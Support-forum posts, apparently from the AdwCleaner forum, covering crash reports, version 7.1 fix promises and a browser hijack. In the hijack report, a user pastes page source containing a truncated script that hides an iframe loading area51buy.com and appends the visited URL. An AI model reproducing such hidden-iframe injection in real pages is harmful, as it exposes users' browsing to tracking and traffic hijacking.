Re: lavasoft web companion

OK, this issue is known and will be fixed in the upcoming 7.1 version.

In the meantime, we can try to use AdwCleaner in Safe Mode. It works sometimes.

Here is how you can boot Windows 7 in Safe Mode : https://www.howtogeek.com/howto/windows-vista/force-windows-to-boot-into-safe-mode-without-using-the-f8-key/

Then, just launch AdwCleaner again and do a scan/clean.

Re: area51buy.com hijack

Hello,

Sorry for the late answer.

Glad to know it's now fixed. May be it was only related to gearbest.com, something like a defacement [1]? I can't find anything online about it tho.

Feel free to come back if you see anything weird again.

Regards.

[1] https://en.wikipedia.org/wiki/Website_defacement

Re: area51buy.com hijack

Thanks! What files from firefox profile should I upload? Logs:

MalwareBytes: https://pastebin.com/8Cr1dNMP

AdwCleaner: https://pastebin.com/NatkW1J6

Addons: https://pastebin.com/4ZgCDJsT

 

EDIT: I just checked gearbest.com and now the page loads. I don't know what happened, but it's fixed.

Re: Crash at scan

Greetings,

Thanks for your feedback.

This issue is known and will be fixed with the 7.1 release.

Regards.

area51buy.com hijack

AdwCleaner was unable to fix it. MalwareBytes also did not help. When I try to open gearbest.com in firefox I see a blank page. The source of the page:

 

<!DOCTYPE html>
<html>
<body>
	<script type="text/javascript">
	var url=location.href;
	var ifr = document.createElement('iframe'); 
    ifr.style.display = 'none'; 
    ifr.src ='//area51buy.com/'+'#'+url;
    document.body.appendChild(ifr...

Re: vers 7.0

now it is 5th of November..where is yr promised by you ..??..:

Re: vers 7.0

Hello,

These two issues will be fixed in the 7.1 release.

Regards.

  •  

user_avatar

Re: vers 7.0

when it will be released?

regards

  •  

user_avatar

Re: vers 7.0

Hello,

We're targeting the end of October.

7.1

Re: Bitdefender Agent WatchDog Task and 7.0.3.1

Problem has been resolved with 7.0.4.0. Thank you for the fix!

caught unhandled unknown exception

When I run the program, it finds some issues.  I then go to clean them up and it give me the error message above?  How do i fix so it can clean up my computer.  Than you.

Re: adwcleaner 7.0.2.1 won't run on windows 10 64-bit?

Hello,

We're working on it. This issue will be fixed with the 7.1 release.

In the meantime, please try in safe mode.

Sorry for the inconvenience.

Re: adwcleaner 7.0.2.1 won't run on windows 10 64-bit?

Hello,

I cant ran anything past version 7.0. I got the ''this app can't run on your PC" error.

Is it fixable? I use win 10 x64 LTSB 2016.

 

thanks